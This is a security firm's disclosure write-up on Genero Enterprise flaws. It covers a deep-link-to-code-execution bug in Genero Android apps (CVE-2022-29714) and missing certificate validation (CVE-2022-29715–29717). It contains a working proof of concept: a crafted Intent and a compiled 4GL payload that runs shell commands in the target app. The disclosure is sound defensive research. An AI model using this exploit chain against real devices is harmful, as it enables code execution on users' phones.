Introduction
During an engagement, ZX Security came across a range of products and services related to Genero Enterprise being used by our client. Our engagement involved reviewing multiple components:
- Applications downloaded from the Google Play Store which had been built using Genero Mobile for Android (GMA).
- Applications downloaded from Apple’s App Store which had been built using Genero Mobile for iOS (GMI).
- A Genero Desktop Client (GDC) installer intended for use on staff workstations.
Several issues were found during the engagement with the most significant occurring in the software listed above. While the causes of the issues presented here are unique, they all highlight the need for great care when reimplementing critical features that have robust security controls in the normal service.
What is Genero?
Genero is a suite of products maintained by Four JS which aims to allow developers to create a range of services and applications from a single language and a common layout syntax. It’s designed to abstract away from the specific implementation details and provide a consistent environment for applications to be built despite the nuances of the underlying system. In this manner, a range of front-end and back-end applications can be quickly built and deployed across a range of systems.
To order to provide these there are a large number of services and tools, as can be seen by the range of products that needed to be patched:
Deeplinking to RCE - CVE-2022-29714
Finding the vuln
While testing the client’s Android application things very quickly showed that this was not a standard test. Three areas that stood out were:
- Files with unknown extensions in the /assets/app/ directory within the APK file.
- The entry point for the application relating to a third-party component.
- Being unable to intercept traffic from either the Android or iOS app.
Very little information was available at the start of the test. At this stage we had very little knowledge of the Genero environment or the implications it would have on testing. After getting a basic grasp of the applications we were dealing with it became clear that many of our normal testing processes were going to be difficult to follow with these apps. One thing which was familiar was the AndroidManifest.apk file which exported an activity:
<activity android:configChanges="keyboardHidden|orientation|screenSize" android:exported="true" android:label="@string/deploy_package_title" android:name="com.fourjs.gma.monitor.Startup" android:taskAffinity="@string/deploy_activities_affinity" android:theme="@style/GeneroMobile.DialogTheme.Startup" android:windowSoftInputMode="stateHidden">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
Exported components allow for an application to be interacted with by other applications on the device. In this instance an explicit intent is required to target the application built with Genero, limiting the attack scenario to intents from other applications on the device. While a limited attack, vector malicious apps do exist and meaningfully crossing the security boundary between applications presents a notable concern for malicious actors, especially in the context of a mobile framework that will allow applications of various purposes to be built.
However, an exported component isn’t a concern in itself. There are legitimate and secure ways to export a component but hey, you wouldn’t be reading this if this was the case so let’s dive into some code!
From the AndroidManifest file, we’re interested in the com.fourjs.gma.monitor.Startup class as this is the defined exported component - which handily also happens to be the entry point for the application. For any deep linking vulnerability to exist we need the component to process the intent it receives and then use the untrusted content to do something meaningful without sufficient validation or sanitisation. To understand how the component we’re interested in works, and how we could reach any handling of the intent, we need to follow the logic through the relevant component lifecycle.
Each of the four main components in the Android ecosystem are built with lifecycles that define essentially hooks into the various states the can component can enter as it is started, stopped, or active. For this, we’re going to focus on the Activity and Service lifecycles. The Activity lifecycle is well documented by Google and encapsulated in the following image:
Starting at OnCreate we can work our way through the lifecycle to determine if the Intent is processed anywhere within the Activity. Or, we can try to shortcut it by looking for the Intent being used within the Activity and working back to how we trigger it with the Activity lifecycle. Let’s do that.
Looking at the output of Jadx for the Activity we’re in luck, it’s a small class:
Searching for getIntent() shows us that it’s being used in one place:
- At 1 the untrusted Intent is being accessed.
- At 2 checks happen to see if the ConnectivityService already exists, if not, then it is created.
- At 3 values from the untrusted Intent are repackaged into the creation of the new service.
- At 4 the newly created service is launched.
This chain effectively moves our sink from the Activity into the ConnectivityService and any exploitation of this deep link would have to happen there or even later on. There are also some conditions we need to keep in mind for any successful exploitation of any issue:
- We need a malicious application on the device as only explicit intents can trigger this.
- The application cannot have already created the ConnectivityService which will effectively function as a singleton. This means we have the best chance to exploit the issue if the target application isn’t running.
- The extras from a malicious intent will be repackaged. This could prevent untrusted values from being assigned to sensitive keys.
With these conditions in mind, let’s trace through the rest of the Activity to see if we can get the untrusted Intent to hit this code.
The function we’re interested in start() which is called from within the handleMessage(Message) function and will be triggered when the class receives a message due to its inheritance.
Thankfully it sends a message to itself with the correct status code to trigger the logic path for the start() function from within the updateResources() function.
As updateResources() is called from within the onCreate() for the class we’ve got a path for an arbitrary Intent to be processed by the application. However, we still need to find where it’s used. For that, we need to look at the ConnectivityService class. Thankfully the ConnectivityService class makes use of the repackaged Intent extras within its onStartCommand function, an early part of the lifecycle for Services:
This then passes the extras through to parseStartupParameters which uses them:
Now that we know the Intent is being used, let’s check its working by crafting an Intent to be sent from another app installed on the same device. This can be achieved with the following code:
public void onViewCreated(@NonNull View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
binding.buttonFirst.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(new ComponentName("com.fourjs.gma","com.fourjs.gma.monitor.Startup"));
intent.putExtra("DEBUG_SERVICE", "enable");
startActivity(intent);
}
});
} Note: "com.fourjs.gma" is the identifier of the example mobile app built with GMA, replace this with the identifier of anything else as relevant.
The target Genero app responds by showing a notification indicating it has entered debug mode as expected:
Getting data through to this point allowed for a number of different interactions with the app, including:
- Force the app into debug or QA mode.
- Display any arbitrary HTTP or HTTPS URL in a pop-up window over the app.
- Load any arbitrary Genero app from a path specified in the Intent.
Most importantly, it allowed for arbitrary Genero apps to be run both from local and remote contexts. For writing a proof of concept, only a local payload was exploited.
Building a custom compiled Genero app for RCE
Taking a look at how the application normally loads a Genero application, we can see how the untrusted Intent data can be used to do the same thing with an arbitrary Genero application. The way to launch the intended Genero app from the Android application looks like this:
startApplication(AbstractDvmConnection.Type.EMBEDDED, Path.getPrivateAppsPath(this) + File.separatorChar + getDeployAutostartApplicationPath(), null, null);]]
The call to startApplication specifies several hardcoded values which are set during creating of the Andoid application. But there’s another call to startApplication which is accessible from the execution path used to process Intents:
startApplication(type, string6, arrayList, hashMap);
This call is populated with values from the intent, specifically:
- type defaults to EMBEDDED but can also be used to specify remote Genero applications.
AbstractDvmConnection.Type type = AbstractDvmConnection.Type.EMBEDDED; String string8 = bundle.getString(CONNECTION_TYPE_PARAM); if (string8 != null) { type = AbstractDvmConnection.Type.valueOf(string8); }
- string6 is the path to the target Genero application.
String string6 = bundle.getString(PATH_PARAM);
- arrayList and hashMap are derived from string6 and not necessary for exploitation.
From here supplying bad values results in the target mobile application crashing with a clear error message indicating that it had tried to execute a Genero application at the provided path but couldn’t:
Same as when permissions haven’t been provided to the target app to allow it to read the exploit from the device’s external storage:
Additionally, because we’re using a local payload the target app does need to have permission to read from the shared storage. This limitation would be overcome with a remote payload if hosting your own Genero server but for PoC purposes, the local payload does what we need.
How do you create a Genero application though? Just build a compiled payload from a proprietary framework and associated language that’s been partnering with IBM since the 80s. Yeah.
Thankfully the hardest part of this turned out to be obtaining the compiler and associated tools which is not covered in this post. After that, the documentation for Genero mobile applications and 4GL is quite comprehensive and examples of compiled versions are obtainable through the app store after identifying public mobile applications that had been built using the Genero framework. Examples of these were available from the Four JS website:
From the examples and documentation, building a PoC for the payload was relatively straightforward, keeping in mind that the major version of the Genero compiler used needs to match the version used to compile the target mobile application. Beyond that, even if the 4GL syntax is unfamiliar, it helpfully allows components compiled from other languages such as C and Java to be imported directly and called. Using Java imports many of the normal features of the Android OS can be directly accessed to bypass the restrictions of the 4GL language and build an interesting PoC.
Chaining it all together, a mobile application built with the (at the time) latest version of Genero could be coerced into executing arbitrary code by any other application also running on the same device:
Code: zx.4gl:
IMPORT JAVA java.lang.Process
IMPORT JAVA java.lang.Runtime
IMPORT JAVA java.io.BufferedReader
IMPORT JAVA java.io.InputStreamReader
IMPORT JAVA java.lang.String
MAIN
DEFINE proc java.lang.Process
DEFINE reader java.io.BufferedReader
DEFINE line java.lang.String
DEFINE line_out, separator, tmp_str STRING
DEFINE cmd_status, counter, pre_count, i INTEGER
LET proc = java.lang.Runtime.getRuntime().exec("uname -a")
LET cmd_status = proc.waitFor()
LET reader = java.io.BufferedReader.create(java.io.InputStreamReader.create(proc.getInputStream()))
LET line = reader.readLine()
LET counter = 0
LET pre_count = 0
LET separator = "\n"
FOR i = 0 TO length(line) -1
let counter = counter + 1
IF counter >= 39 AND line.charAt(i) = " " THEN
LET tmp_str = line.substring(pre_count, i)
LET line_out = line_out.append(tmp_str).append(separator)
let pre_count = i
let counter = 0
end if
end for
LET proc = java.lang.Runtime.getRuntime().exec("whoami")
LET cmd_status = proc.waitFor()
LET reader = java.io.BufferedReader.create(java.io.InputStreamReader.create(proc.getInputStream()))
LET line = reader.readLine()
LET tmp_str = line
LET tmp_str = tmp_str.append(separator).append(fgl_getenv("FGLAPPDIR"))
open window zx_win with form "zx"
menu
before MENU
display "/sdcard/exploit/zx.png" to zx_logo
display line_out to os_info
display tmp_str to whoami_label
on action back
exit menu
end menu
close window zx_win
end MAIN
zx.per:
layout ( text="ZX takeover") -- style="WindowNoActionPanel"
vbox
grid
{
[whoami_label]
[zx_logo]
[os_label]
}
end
end -- vbox
end -- layout
attributes
image zx_logo = formonly.zx_logo, stretch=both, autoscale;--, style="ImageNoBorder";
TEXTEDIT os_label = formonly.os_info, STYLE="label html", SCROLLBARS=NONE, STRETCH=BOTH, NOENTRY, JUSTIFY=LEFT;
TEXTEDIT whoami_label = formonly.whoami_label, STYLE="label html", SCROLLBARS=NONE, STRETCH=BOTH, NOENTRY, JUSTIFY=LEFT;
end
Compiling the app:
fglcomp zx.4gl
fglform zx.per
By dropping the compiled files zx.42f, zx.42m, along with zx.png onto the external storage of the device and specifying the following code in a malicious app on the device the arbitrary compiled Genero app is run:
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setComponent(new ComponentName("com.fourjs.gma","com.fourjs.gma.monitor.Startup"));
intent.putExtra("PATH","/sdcard/exploit/zx.42m");
intent.putExtra("CONNECTION_TYPE_PARAM","EMBEDDED");
startActivity(intent);
Since the PoC doesn’t have persistence it only affects the application when the Intent is processed. From this perspective arbitrary code can be run with the normal permissions of the application, allowing the normal Genero application to be overwritten. But it also turns out that getting the Android Java libs recognised by the Genero compiler to make the tooling work in a minimal install and actually do it is effort.
Lack of certificate validation - CVE-2022-29715, CVE-2022-29716, CVE-2022-29717
But the fun doesn’t end there! Turns out that the implementation of certification validation across the suite of Genero applications wasn’t validating the certificates they were presented with against a trust store, allowing arbitrary valid certificates to be used for Person-in-the-Middle attacks.
Not only were the tested Android (CVE-2022-29716) and iOS (CVE-2022-29715) applications vulnerable to this, but Michael Tsai also validated that the Genero Desktop Client was also vulnerable to this (CVE-2022-29717) by connecting to a rogue SSH server.